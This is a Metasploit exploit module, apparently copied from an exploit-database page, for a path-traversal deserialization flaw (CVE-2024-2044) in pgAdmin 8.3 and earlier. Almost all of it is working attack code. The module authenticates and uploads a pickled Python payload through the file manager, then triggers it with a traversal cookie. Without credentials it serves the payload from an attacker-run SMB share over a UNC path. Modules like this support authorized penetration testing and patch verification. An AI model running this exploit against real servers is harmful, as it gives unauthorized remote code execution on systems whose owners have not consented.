Share
## https://sploitus.com/exploit?id=PACKETSTORM:178098
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::SMB::Server::Share  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pgAdmin Session Deserialization RCE',  
'Description' => %q{  
pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow  
a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python  
object to execute code within the context of the target application.  
  
This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials  
are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object  
using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before  
being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no  
credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a  
UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also  
requires that insecure outbound guest access be enabled.  
  
Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin  
underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated  
technique whereby a payload is uploaded.  
},  
'Author' => [  
'Spencer McIntyre', # metasploit module  
'Davide Silvetti', # vulnerability discovery and write up  
'Abdel Adim Oisfi' # vulnerability discovery and write up  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-2044'],  
['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],  
['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']  
],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Payload' => {},  
'Targets' => [  
[ 'Automatic', {} ],  
],  
'DefaultOptions' => {  
'SSL' => true,  
'WfsDelay' => 5  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),  
OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),  
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])  
])  
end  
  
def check  
version = get_version  
return CheckCode::Unknown('Unable to determine the target version') unless version  
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')  
  
CheckCode::Appears("pgAdmin version #{version} is affected")  
end  
  
def csrf_token  
return @csrf_token if @csrf_token  
  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)  
set_csrf_token_from_login_page(res)  
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token  
@csrf_token  
end  
  
def set_csrf_token_from_login_page(res)  
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/  
@csrf_token = Regexp.last_match(1)  
# at some point between v7.0 and 7.7 the token format changed  
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)  
@csrf_token = element['value']  
end  
end  
  
def get_version  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)  
return unless res&.code == 200  
  
html_document = res.get_html_document  
return unless html_document.xpath('//title').text == 'pgAdmin 4'  
  
# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,  
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27  
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }  
return unless versioned_link  
  
set_csrf_token_from_login_page(res) # store the CSRF token because we have it  
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")  
end  
  
def exploit  
if datastore['USERNAME'].present?  
exploit_upload  
else  
exploit_remote_load  
end  
end  
  
def exploit_remote_load  
start_service  
print_status('The SMB service has been started.')  
  
# Call the exploit primer  
self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)  
trigger_deserialization(unc)  
end  
  
def exploit_upload  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'csrf_token' => csrf_token,  
'email' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'language' => 'en',  
'internal_button' => 'Login'  
}  
})  
  
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')  
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')  
end  
print_status('Successfully authenticated to pgAdmin')  
  
serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)  
  
file_name = Faker::File.file_name(dir: '', directory_separator: '')  
file_manager_upload(file_name, serialized_data)  
trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")  
file_manager_delete(file_name)  
end  
  
def trigger_deserialization(path)  
print_status("Triggering deserialization for path: #{path}")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login'),  
'cookie' => "pga4_session=#{path}!"  
})  
end  
  
def file_manager_init  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => {  
'dialog_type' => 'storage_dialog',  
'supported_types' => ['sql', 'csv', 'json', '*'],  
'dialog_title' => 'Storage Manager'  
}.to_json  
})  
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))  
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')  
end  
  
trans_id  
end  
  
def file_manager_delete(file_path)  
trans_id = file_manager_init  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => {  
'mode' => 'delete',  
'path' => "/#{file_path}",  
'storage_folder' => 'my_storage'  
}.to_json  
})  
unless res&.code == 200 && res.get_json_document['success'] == 1  
fail_with(Failure::UnexpectedReply, 'Failed to delete file')  
end  
  
true  
end  
  
def file_manager_upload(file_path, file_contents)  
trans_id = file_manager_init  
  
form = Rex::MIME::Message.new  
form.add_part(  
file_contents,  
'application/octet-stream',  
'binary',  
"form-data; name=\"newfile\"; filename=\"#{file_path}\""  
)  
form.add_part('add', nil, nil, 'form-data; name="mode"')  
form.add_part('/', nil, nil, 'form-data; name="currentpath"')  
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => form.to_s  
})  
unless res&.code == 200 && res.get_json_document['success'] == 1  
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')  
end  
  
upload_path = res.get_json_document.dig('data', 'result', 'Name')  
print_status("Serialized payload uploaded to: #{upload_path}")  
  
true  
end  
end